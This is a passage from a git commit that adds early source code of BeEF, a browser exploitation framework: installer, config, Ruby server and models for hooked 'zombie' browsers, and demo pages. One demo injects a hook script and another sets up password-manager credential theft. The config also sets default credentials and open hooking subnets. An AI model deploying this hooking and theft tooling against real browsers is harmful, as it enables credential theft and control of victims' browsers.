Moving RBeEF to trunk

git-svn-id: https://beef.googlecode.com/svn/trunk@503 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
scotty.b.brown
2010-11-11 09:16:11 +00:00
parent 8d073f8738
commit ffa735caff
346 changed files with 84143 additions and 0 deletions

52
INSTALL Normal file
View File

@@ -0,0 +1,52 @@
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here.
=============================================
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
1. Prerequisites (platform independent)
Beef requires ruby 1.8
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the Beef installer !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
4. Prerequisites (Mac OSX)
Make sure you have XCode installed - which provided the sqlite support Beef needs
5. Install instructions
Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout
Navigate to the ruby source directory and run:
ruby install.rb
The installer verifies required gems, including any specific version dependencies, as well as performing a 'gem update --system'
The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually
The installer advises of the default username and password

1
VERSION Normal file
View File

@@ -0,0 +1 @@
v0.4.2-alpha

BIN
beef.db Normal file

Binary file not shown.

23
beef.rb Normal file
View File

@@ -0,0 +1,23 @@
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('..', __FILE__)
require 'lib/loader'
# load config
config = BeEF::Configuration.instance
# setup database
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}")
options = BeEF::Console::CommandLine.parse
if options[:resetdb] then DataMapper.auto_migrate!; BeEF::Migration.instance.update_db!; else DataMapper.auto_upgrade!; end
# check for new command modules
BeEF::Migration.instance.update_db!
BeEF::Console::Banner.generate
# hook server
http_hook_server = BeEF::HttpHookServer.instance
http_hook_server.start

32
config.ini Normal file
View File

@@ -0,0 +1,32 @@
beef_version = '0.4.2-alpha'
# subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet = "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
#permitted_ui_subnet = "127.0.0.1/32"
permitted_ui_subnet = "0.0.0.0/0"
http_host = "127.0.0.1"
http_port = "3000"
http_dns = "localhost"
http_demo_path = "/demos/basic.html"
http_panel_path = "/ui/panel"
hook_file = "/hook.js"
ui_username = "beef"
ui_password = "beef"
hook_session_name="BEEFHOOK"
session_cookie_name="BEEFSESSION"
crypto_default_value_length=80
login_fail_delay=1 # in seconds
database_file_name = "beef.db"
favicon_file_name = "favicon.ico"
favicon_dir = "/public/images"

Binary file not shown.

BIN
database.xcdatamodel/layout Normal file

Binary file not shown.

28
demos/basic.html Normal file
View File

@@ -0,0 +1,28 @@
<html>
<head>
<title>BeEF Basic Demo</title>
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
</head>
<body>
You should be hooked into <b>BeEF</b>.
<p>
Have fun while your browser is working against you.
</p>
<p>
These links are for demonstrating the "collect links" command module<br />
<ul>
<li><a href="http://www.bindshell.net/tools/beef" target="_blank">Beef homepage</a>
<li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a>
<li><a href="http://slashdot.org/" target="_blank">Nerd homepage</a>
</ul>
</p>
</body>
</html>

View File

@@ -0,0 +1,27 @@
<html>
<head>
<title>BeEF Password Manager Theft Demo</title>
</head>
<body>
<h2>Password Manager Theft Demo</h2>
<p>
Instructions:<br>
<br>
1. Write a fake username and password in the form below<br>
2. After having submitted the form, <u>make sure you tell firefox that you want to save</u><br>
3. Exploit your hooked browser with the password manager theft command module.
</p>
<p>
<form action="passwd_manager_theft.html" method="POST">
Username: <input type="text" name="username"><br><br>
Password: <input type="password" name="random"></br>
<input type="submit" value="submit">
</form>
</p>
</body>
</html>

13
demos/secret_page.html Normal file
View File

@@ -0,0 +1,13 @@
<html>
<head>
<title>Secret Page</title>
</head>
<body>
<h1>Secret page</h1>
<p>
This page is not hooked by beef. However you should still be capable of accessing it
using the Requester.
</p>
</body>
</html>

112
install.rb Normal file
View File

@@ -0,0 +1,112 @@
require 'rubygems'
puts "\nWelcome to the BEeF installer!"
puts "\nPlease make sure you have installed SQLite before proceeding. For instructions on how to do this please see the INSTALL file"
# array of required gems - add to as needed (specify a version if needed eg "gem_name, =x.x.x")
$gems_required = ["ansi", "dm-core", "json", "data_objects", "do_sqlite3", "sqlite3-ruby", "dm-sqlite-adapter",
"parseconfig", "erubis", "dm-migrations"]
# array of missing non-version specific gems installed
$gems_missing = Array.new
# array of missing version specific gems installed
$gems_missing_version = Array.new
# check all required gems (dependencies) are present
def dep_check
$gems_required.each do |current_gem|
begin
if current_gem.include? ","
tokens = current_gem.split(",")
gem tokens[0], tokens[1]
else
gem current_gem
end
rescue Gem::LoadError
if current_gem.include? ","
$gems_missing_version << current_gem
else
$gems_missing << current_gem
end
end
end
if $gems_missing.length == 0 && $gems_missing_version.length == 0
return true
else
return false
end
end
# display install options
def display_opts
puts "\n1) Install all required gems automatically\n" + "2) List required gems and exit so they can be installed manually\n" + "3) Exit installer\n\n"
option = gets
return option
end
# generate install command for missing gems
def install_command
if RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /darwin/
cmd = "sudo gem install"
$gems_missing.each do |current_gem|
cmd = cmd + " #{current_gem}"
end
if $gems_missing_version.length != 0
$gems_missing_version.each do |current_gem|
if cmd == "sudo gem install"
cmd = cmd + " #{current_gem}"
else
cmd = cmd + " && sudo gem install #{current_gem}"
end
end
end
else
cmd = "gem install"
$gems_missing.each do |current_gem|
cmd = cmd + " #{current_gem}"
end
if $gems_missing_version.length != 0
$gems_missing_version.each do |current_gem|
if cmd == "gem install"
cmd = cmd + " #{current_gem}"
else
cmd = cmd + " & gem install #{current_gem}"
end
end
end
end
cmd = cmd.delete "," "'"
cmd = cmd.gsub("=", "-v")
return cmd
end
# install missing gems
def install_gems
puts install_command + "\n"
system(install_command)
end
dep_met = dep_check()
if dep_met == false
puts "\nSome gems required by BEeF are not present on your system please select an option to continue:"
option = display_opts
while option != "1\n" and option != "2\n" and option != "3\n"
puts "\nInvalid option entered, please select a valid option to continue:"
option = display_opts
end
if option == "1\n"
install_gems
elsif option == "2\n"
cmd = install_command
puts "\nPlease run the following command to update and install all required gems:\n\n" + cmd + "\n\n"
elsif option == "3\n"
puts "\nExiting...\n\n"
end
else
puts "\nAll required gems are present - please run 'ruby beef.rb' to start using BEeF\n\n"
puts "\nThe Default username/password are beef/beef\n\n"
puts "\nAll feedback welcome - http://beef.googlecode.com/\n\n"
end

20
lib/configuration.rb Normal file
View File

@@ -0,0 +1,20 @@
module BeEF
#
#
#
class Configuration < ParseConfig
include Singleton
def initialize(configuration_file="#{$root_dir}/config.ini")
super(configuration_file)
end
def get(key)
get_value(key)
end
end
end

39
lib/console/banner.rb Normal file
View File

@@ -0,0 +1,39 @@
module BeEF
module Console
module Banner
#
# Generates banner
#
def self.generate
@configuration = BeEF::Configuration.instance
version = BeEF::Configuration.instance.get('beef_version')
hook_uri = "http://#{@configuration.get("http_host")}:"
hook_uri += "#{@configuration.get("http_port")}"
hook_uri += "#{@configuration.get("hook_file")}"
ui_uri = "http://#{@configuration.get("http_host")}:"
ui_uri += "#{@configuration.get("http_port")}"
ui_uri += "#{@configuration.get("http_panel_path")}"
demo_uri = "http://#{@configuration.get("http_host")}:"
demo_uri += "#{@configuration.get("http_port")}"
demo_uri += "#{@configuration.get("http_demo_path")}"
detail_tab = ' ' * 1 + '--[ '
puts
puts " -=[ BeEF " + "v#{version} ]=-\n\n"
puts detail_tab + "Modules: #{BeEF::Models::CommandModule.all.length}"
puts detail_tab + "Hook URL: #{hook_uri}"
puts detail_tab + "UI URL: #{ui_uri}"
puts detail_tab + "Demo URL: #{demo_uri}"
puts
end
end
end
end

View File

@@ -0,0 +1,37 @@
module BeEF
module Console
module CommandLine
@options = Hash.new
@options[:verbose] = false
@options[:resetdb] = false
@already_parsed = false
#
# Parses the command line arguments of the console.
# It also populates the 'options' hash.
#
def self.parse
return @options if @already_parsed
optparse = OptionParser.new do |opts|
opts.on('-x', '--reset', 'Reset the database') do
@options[:resetdb] = true
end
opts.on('-v', '--verbose', 'Display debug information') do
@options[:verbose] = true
end
end
optparse.parse!
@already_parsed = true
@options
end
end
end
end

88
lib/constants.rb Normal file
View File

@@ -0,0 +1,88 @@
module BeEF
#
# This module list all the constants used by the framework.
#
module Constants
module CommandModule
MODULE_TARGET_VERIFIED_NOT_WORKING = 0
MODULE_TARGET_VERIFIED_WORKING = 1
MODULE_TARGET_VERIFIED_UNKNOWN = 2
MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png'
MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png'
MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png'
MODULE_TARGET_IMG_PATH = 'public/images/icons/'
end
module Browsers
FF = 'FF' # Firefox
M = 'M' # Mozila
IE = 'IE' # Internet Explorer
S = 'S' # Safari
K = 'K' # Konqueror
C = 'C' # Chrome
ALL = 'ALL' # ALL
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozila'
FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
def self.friendly_name(browser_name)
case browser_name
when FF; return FRIENDLY_FF_NAME
when M; return FRIENDLY_M_NAME
when IE; return FRIENDLY_IE_NAME
when S; return FRIENDLY_S_NAME
when K; return FRIENDLY_K_NAME
when C; return FRIENDLY_C_NAME
end
end
end
# The User Agent strings for browser detection
module Agents
AGENT_UNKNOWN_IMG = 'unknown.png'
AGENT_FIREFOX_UA_STR = 'Firefox'
AGENT_FIREFOX_IMG = 'firefox.png'
AGENT_MOZILLA_UA_STR = 'Mozilla'
AGENT_MOZILLA_IMG = 'mozilla.png'
AGENT_IE_UA_STR = 'MSIE'
AGENT_IE_IMG = 'msie.png'
AGENT_SAFARI_UA_STR = 'Safari'
AGENT_SAFARI_IMG = 'safari.png'
AGENT_KONQ_UA_STR = 'Konqueror'
AGENT_KONQ_IMG = 'konqueror.png'
AGENT_CHROME_UA_STR = 'Chrome'
AGENT_CHROME_IMG = 'chrome.png'
end
# The OS'es strings for os detection.
module Os
OS_UNKNOWN_IMG = 'unknown.png'
OS_WINDOWS_UA_STR = 'Windows'
OS_WINDOWS_IMG = 'win.png'
OS_LINUX_UA_STR = 'Linux'
OS_LINUX_IMG = 'linux.png'
OS_MAC_UA_STR = 'Mac'
OS_MAC_IMG = 'mac.png'
end
end
end

26
lib/crypto.rb Normal file
View File

@@ -0,0 +1,26 @@
module BeEF
#
# This module provides crypto functionality
#
module Crypto
#
# Generate a secure random token
#
def self.secure_token(len = nil)
# get default length from config
config = BeEF::Configuration.instance
token_length = len || config.get('crypto_default_value_length').to_i
raise WEBrick::HTTPStatus::BadRequest, "Token length is zero or less" if (1 > token_length)
# return random hex string
OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
end
end
end

119
lib/filter.rb Normal file
View File

@@ -0,0 +1,119 @@
module BeEF
module Filter
# check if the string is not empty and not nil
def self.is_non_empty_string?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
true
end
# check if the command id valid
def self.is_valid_commmamd_id?(str)
return false if not BeEF::Filter.is_non_empty_string?(str)
return false if not BeEF::Filter.nums_only?(str)
true
end
# check if the session id valid
def self.is_valid_hook_session_id?(str)
return false if not BeEF::Filter.is_non_empty_string?(str)
return false if not BeEF::Filter.has_valid_key_chars?(str)
true
end
# check if valid command module datastore key
def self.is_valid_commmamd_module_datastore_key?(str)
return false if not BeEF::Filter.is_non_empty_string?(str)
return BeEF::Filter.has_valid_key_chars?(str)
end
# check if valid command module datastore value
def self.is_valid_commmamd_module_datastore_param?(str)
return false if not BeEF::Filter.is_non_empty_string?(str)
return false if BeEF::Filter.has_null?(str)
return false if BeEF::Filter.has_non_printable_char?(str)
true
end
# check if num chars only
def self.nums_only?(str)
not (str =~ /^[\d]+$/).nil?
end
# check if hex chars only
def self.hexs_only?(str)
not (str =~ /^[0123456789ABCDEFabcdef]+$/).nil?
end
# check if first char is a num
def self.first_char_is_num?(str)
not (str =~ /^\d.*/).nil?
end
# check for word and some punc chars
def self.has_valid_key_chars?(str)
return false if not BeEF::Filter.is_non_empty_string?(str)
(str =~ /[^\w_-]/).nil?
end
# check for word and underscore chars
def self.has_valid_param_chars?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
(str =~ /[^\w_]/).nil?
end
# check for space chars: \t\n\r\f
def self.has_whitespace_char?(str)
not (str =~ /\s/).nil?
end
# check for non word chars: a-zA-Z0-9
def self.has_nonword_char?(str)
not (str =~ /\w/).nil?
end
# check for null char
def self.has_null? (str)
not (str =~ /[\000]/).nil?
end
# check for non-printalbe char
def self.has_non_printable_char?(str)
not (str =~ /[^[:print:]]/m).nil?
end
# check if request is valid
def self.is_valid_request?(str)
req_parts = str.split(/ |\n/)
#check verb
verb = req_parts[0]
return false if not verb.eql? "GET" or verb.eql? "POST"
#check uri
uri = req_parts[1]
return false if not uri.eql? WEBrick::HTTPUtils.normalize_path(uri)
# check trailer
trailer = req_parts[2]
return false if not trailer.eql? "HTTP/1.1" or trailer.eql? "HTTP/1.0"
# check host
host_param_key = req_parts[3]
return false if not host_param_key.eql? "Host:"
# check ip address of target
host_param_value = req_parts[4]
return false if not host_param_value =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
true
end
end
end

64
lib/loader.rb Normal file
View File

@@ -0,0 +1,64 @@
require 'rubygems'
require 'webrick'
require 'dm-core'
require 'dm-migrations'
require 'json'
require 'ansi'
require 'optparse'
require 'cgi'
require 'parseconfig'
require 'singleton'
require 'ipaddr'
require 'base64'
require 'lib/patches/webrick/httprequest'
require 'lib/patches/webrick/cookie'
require 'lib/patches/webrick/genericserver'
require 'lib/patches/webrick/httpresponse'
require 'lib/patches/webrick/httpservlet/filehandler.rb'
require 'lib/constants'
require 'lib/model/user'
require 'lib/model/commandmodule'
require 'lib/model/zombie'
require 'lib/model/log'
require 'lib/model/command'
require 'lib/model/result'
require 'lib/model/autoloading'
require 'lib/model/plugin'
require 'lib/model/http'
require 'lib/model/browserdetails'
require 'lib/crypto'
require 'lib/filter'
require 'lib/configuration'
require 'lib/console/banner'
require 'lib/console/commandline'
require 'lib/migration'
require 'lib/server/modules/common'
require 'lib/server/modules/requester'
require 'lib/server/httphandler'
require 'lib/server/httpcontroller'
require 'lib/server/httphookserver'
require 'lib/server/zombiehandler'
require 'lib/server/commandhandler'
require 'lib/server/publichandler'
require 'lib/server/requesterhandler'
require 'lib/server/inithandler'
require 'lib/logger'
require 'lib/modules/command'
require 'openssl'
# load command modules
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
require command
end

24
lib/logger.rb Normal file
View File

@@ -0,0 +1,24 @@
module BeEF
#
# This class takes care of logging events in the db.
#
class Logger
include Singleton
def initialize
@logs = BeEF::Models::Log
end
# Registers a new event in the logs
def register(from, event, zombie = 0)
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :zombie_id => zombie).save
end
private
@logs
end
end

64
lib/migration.rb Normal file
View File

@@ -0,0 +1,64 @@
module BeEF
#
# This class migrates and updates values in the database each time you restart BeEF.
# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework
# and then restart BeEF. That class will take care of installing automatically the new command module in the db.
#
class Migration
include Singleton
#
# Updates the database.
#
def update_db!
update_commands!
update_plugins!
end
#
# Checks for new command modules and updates the database.
#
def update_commands!
db_commands = [], folders = ''
BeEF::Models::CommandModule.all.each {|db_command| db_commands.push(db_command.path)}
Dir.foreach("#{$root_dir}/modules/commands/") do |folder|
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/commands/#{folder}"
end
regex = /\/modules\/commands\/(#{folders})\/(.*).rb/i
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
if (command = command.match(regex)[0])
BeEF::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command
end
end
end
#
# Checks for new plugins and updates the database.
#
def update_plugins!
db_plugins = [], folders = ''
BeEF::Models::Plugin.all.each {|db_plugin| db_plugins.push(db_plugin.path)}
Dir.foreach("#{$root_dir}/modules/plugins/") do |folder|
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/plugins/#{folder}"
end
regex = /\/modules\/plugins\/(#{folders})\/(\w+)\/(\w+).rb/i
Dir["#{$root_dir}/modules/plugins/**/*.rb"].each do |plugin|
if (plugin = plugin.match(regex)[0])
BeEF::Models::Plugin.new(:path => plugin).save if not db_plugins.include? plugin
end
end
end
end
end

18
lib/model/autoloading.rb Normal file
View File

@@ -0,0 +1,18 @@
module BeEF
module Models
class Autoloading
include DataMapper::Resource
storage_names[:default] = 'autoloading'
property :id, Serial
property :in_use, Boolean
belongs_to :command
end
end
end

View File

@@ -0,0 +1,93 @@
module BeEF
module Models
class BrowserDetails
include DataMapper::Resource
attr_reader :guard
#
# Class constructor
#
def initialize(config)
# we set up a mutex
super(config)
@@guard = Mutex.new
end
storage_names[:default] = 'browser_details'
property :session_id, Text, :key => true
property :detail_key, Text, :lazy => false, :key => true
property :detail_value, Text, :lazy => false
#
# Returns the requested value from the data store
#
def self.get(session_id, key)
browserdetail = first(:session_id => session_id, :detail_key => key)
return nil if browserdetail.nil?
return nil if browserdetail.detail_value.nil?
return browserdetail.detail_value
end
#
# Stores a key->value pair into the data store
#
def self.set(session_id, detail_key, detail_value)
# if the details already exist don't re-add them
return nil if not get(session_id, detail_key).nil?
# store the returned browser details
browserdetails = BeEF::Models::BrowserDetails.new(
:session_id => session_id,
:detail_key => detail_key,
:detail_value => detail_value)
@@guard.synchronize {
result = browserdetails.save
# if the attempt to save the browser details fails return a bad request
raise WEBrick::HTTPStatus::BadRequest, "Failed to save browser details" if result.nil?
}
browserdetails
end
#
# Returns the icon representing the browser type the
# hooked browser is using (i.e. Firefox, Internet Explorer)
#
def self.browser_icon(session_id)
browser = get(session_id, 'BrowserName')
return BeEF::Constants::Agents::AGENT_IE_IMG if browser.eql? "IE" # Internet Explorer
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if browser.eql? "FF" # Firefox
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if browser.eql? "S" # Safari
return BeEF::Constants::Agents::AGENT_CHROME_IMG if browser.eql? "C" # Chrome
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
end
#
# Returns the icon representing the os type the
# zombie is running (i.e. Windows, Linux)
#
def self.os_icon(session_id)
ua_string = get(session_id, 'BrowserReportedName')
return BeEF::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil? # Unknown
return BeEF::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR # Windows
return BeEF::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Constants::Os::OS_LINUX_UA_STR # Linux
return BeEF::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Constants::Os::OS_MAC_UA_STR # Mac OS X
BeEF::Constants::Os::OS_UNKNOWN_IMG
end
end
end
end

58
lib/model/command.rb Normal file
View File

@@ -0,0 +1,58 @@
module BeEF
module Models
class Command
include DataMapper::Resource
storage_names[:default] = 'commands'
property :id, Serial
property :data, Text
property :creationdate, String, :length => 15, :lazy => false
property :label, Text, :lazy => false
property :has_run, Boolean, :default => false
has n, :results
has n, :autoloadings
#
# Save results and flag that the command has been run on the hooked browser
#
# @param: {String} the session_id. Must have been checked with BeEF::Filter.is_valid_hook_session_id?(hook_session_id) before use in this function.
# @param: {String} the command_id. Must have been checked with BeEF::Filter.is_valid_commmamd_id?(command_id) before use in this function.
# @param: {String} the command friendly name. Must have been checked with command_friendly_name.empty? before use in this function.
# @param: {String} the result of the command module. Must have been checked with result.empty? before use in this function.
#
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
# get the hooked browser structure and id from the database
zombie = BeEF::Models::Zombie.first(:session => hook_session_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "zombie.ip is nil" if zombie.ip.nil?
zombie_ip = zombie.ip
# get the command module data structure from the database
command = first(:id => command_id.to_i, :has_run => false, :zombie_id => zombie_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil?
# create the entry for the results
command.results.new(:zombie_id => zombie_id, :data => result, :date => Time.now.to_i)
# flag that the command has run and the results have been returned
command.has_run = true
# write the data to the database
command.save
# log that the result was returned
BeEF::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id)
end
end
end
end

View File

@@ -0,0 +1,19 @@
module BeEF
module Models
class CommandModule
include DataMapper::Resource
storage_names[:default] = 'command_modules'
property :id, Serial
property :path, Text, :lazy => false
property :name, Text, :lazy => false
has n, :commands
end
end
end

23
lib/model/http.rb Normal file
View File

@@ -0,0 +1,23 @@
module BeEF
module Models
class Http
include DataMapper::Resource
storage_names[:default] = 'http'
property :id, Serial
property :request, Text, :lazy => true
property :response, Text, :lazy => true
property :method, Text, :lazy => false
property :content_length, Text, :lazy => false, :default => 0
property :domain, Text, :lazy => false
property :path, Text, :lazy => false
property :date, DateTime, :lazy => false
property :has_ran, Boolean, :default => false
end
end
end

19
lib/model/log.rb Normal file
View File

@@ -0,0 +1,19 @@
module BeEF
module Models
class Log
include DataMapper::Resource
storage_names[:default] = 'logs'
property :id, Serial
property :type, Text, :lazy => false
property :event, Text, :lazy => false
property :date, DateTime, :lazy => false
property :zombie_id, Text, :lazy => false
end
end
end

17
lib/model/plugin.rb Normal file
View File

@@ -0,0 +1,17 @@
module BeEF
module Models
class Plugin
include DataMapper::Resource
storage_names[:default] = 'plugins'
property :id, Serial
property :data, Text, :lazy => false
property :path, Text, :lazy => false
end
end
end

17
lib/model/result.rb Normal file
View File

@@ -0,0 +1,17 @@
module BeEF
module Models
class Result
include DataMapper::Resource
storage_names[:default] = 'results'
property :id, Serial
property :date, String, :length => 15, :lazy => false
property :data, Text
end
end
end

24
lib/model/user.rb Normal file
View File

@@ -0,0 +1,24 @@
module BeEF
module Models
class User
include DataMapper::Resource
storage_names[:default] = 'users'
property :id, Serial
property :session_id, Text
property :ip, Text
#
# Checks if the user has been authenticated
#
def authenticated?
true || false if not @ip.nil?
end
end
end
end

68
lib/model/zombie.rb Normal file
View File

@@ -0,0 +1,68 @@
module BeEF
module Models
class Zombie
include DataMapper::Resource
storage_names[:default] = 'zombies'
property :id, Serial
property :session, Text, :lazy => false
property :ip, Text, :lazy => false
property :firstseen, String, :length => 15
property :lastseen, String, :length => 15
property :httpheaders, Text, :lazy => false
property :domain, Text, :lazy => false # the domain originating the hook request
property :count, Integer, :lazy => false
property :has_init, Boolean, :default => false
has n, :commands
has n, :results
has n, :logs
has n, :https
#
# Increases the count of a zombie
#
def count!
if not self.count.nil? then self.count += 1; else self.count = 1; end
end
#
# Returns the icon representing the browser type the
# zombie is using (i.e. Firefox, Internet Explorer)
#
def browser_icon
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
return BeEF::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil?
return BeEF::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Constants::Agents::AGENT_IE_UA_STR
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Constants::Agents::AGENT_FIREFOX_UA_STR
return BeEF::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Constants::Agents::AGENT_MOZILLA_UA_STR
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Constants::Agents::AGENT_SAFARI_UA_STR
return BeEF::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Constants::Agents::AGENT_KONQ_UA_STR
return BeEF::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Constants::Agents::AGENT_CHROME_UA_STR
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
end
#
# Returns the icon representing the os type the
# hooked browser is running (i.e. Windows, Linux)
#
def os_icon
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
return BeEF::Constants::Os::OS_UNKNOWN_IMG if agent.nil?
return BeEF::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR
return BeEF::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Constants::Os::OS_LINUX_UA_STR
return BeEF::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Constants::Os::OS_MAC_UA_STR
BeEF::Constants::Os::OS_UNKNOWN_IMG
end
end
end
end

238
lib/modules/command.rb Normal file
View File

@@ -0,0 +1,238 @@
module BeEF
#
# This module contains a list of utils functions to use
# when writing commands.
#
module CommandUtils
# Format a string to support multiline in javascript.
def format_multiline(text); text.gsub(/\n/, '\n'); end
end
#
# The Command Module Context is being used when evaluating code in eruby.
# In other words, we use that code to add funky functions to the
# javascript templates of our commands.
#
class CommandContext < Erubis::Context
include BeEF::CommandUtils
def initialize(hash=nil);
super(hash);
end
end
#
# This class is the base class for all command modules in the framework.
#
# Two instances of this object are created during the execution of command module.
#
class Command
attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
attr_accessor :zombie, :command_id, :session_id, :target
include BeEF::CommandUtils
BD = BeEF::Models::BrowserDetails
VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
# Super class controller
def initialize(info)
@info = info
@datastore = @info['Data'] || nil
@friendlyname = @info['Name'] || nil
@target = @info['Target'] || nil
@output = ''
@path = @info['File'].sub(BeEF::HttpHookServer.instance.root_dir, '')
@default_command_url = '/command/'+(File.basename @path, '.rb')+'.js'
@id = BeEF::Models::CommandModule.first(:path => @info['File']).object_id
@use_template = false
@auto_update_zombie = false
@results = {}
@beefjs_components = {}
end
# This function is called just before the intructions are sent to hooked browser.
# The derived class can use this function to update params used in the command module.
def pre_send;
end
# Callback method. This function is called when the hooked browser sends results back.
def callback; end
# If the command requires some data to be sent back, this function will process them.
def process_zombie_response(head, params); end
# Returns true if the command needs configurations to work. False if not.
def needs_configuration?; !@datastore.nil?; end
# Returns information about the command in a JSON format.
def to_json
{
'Name' => info['Name'],
'Description' => info['Description'],
'Category' => info['Category'],
'Data' => info['Data']
}.to_json
end
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
def build_datastore(data);
@datastore = JSON.parse(data);
end
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
#
# build_callback_datastore(http_params, http_header)
#
def build_callback_datastore(http_params, http_header)
@datastore = {'http_headers' => {}} # init the datastore
# get, check and add the http_params to the datastore
http_params.keys.each {|http_params_key|
raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_key?(http_params_key)
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_param?(http_params_value)
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
}
# get, check and add the http_headers to the datastore
http_header.keys.each { |http_header_key|
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_key?(http_header_key)
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_param?(http_header_value)
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
}
end
# verify whether this command module has been checked against the target browser
def verify_target
# if the target is not set in the module return unknown
return VERIFIED_UNKNOWN if @target.nil?
return VERIFIED_UNKNOWN if @target['browser_name'].nil?
# retrieve the target browser name
browser_name = get_browser_detail('BrowserName')
raise WEBrick::HTTPStatus::BadRequest, "browser_name is nil" if browser_name.nil?
return VERIFIED_UNKNOWN if browser_name.eql? 'UNKNOWN'
# check if the browser is targeted
all_browsers_targeted = @target['browser_name'].eql? BeEF::Constants::Browsers::ALL
target_browser_matches = browser_name.eql? @target['browser_name']
return VERIFIED_NOT_WORKING if not (target_browser_matches || all_browsers_targeted)
# assume that the browser_maxver and browser_minver were excluded
return VERIFIED_WORKING if @target['browser_maxver'].nil? && @target['browser_minver'].nil?
# check if the browser version is targeted
browser_version = get_browser_detail('BrowserVersion')
raise WEBrick::HTTPStatus::BadRequest, "browser_version is nil" if browser_version.nil?
return VERIFIED_UNKNOWN if browser_version.eql? 'UNKNOWN'
# check the browser version number is within range
return VERIFIED_NOT_WORKING if browser_version.to_f > @target['browser_maxver'].to_f
return VERIFIED_NOT_WORKING if browser_version.to_f < @target['browser_minver'].to_f
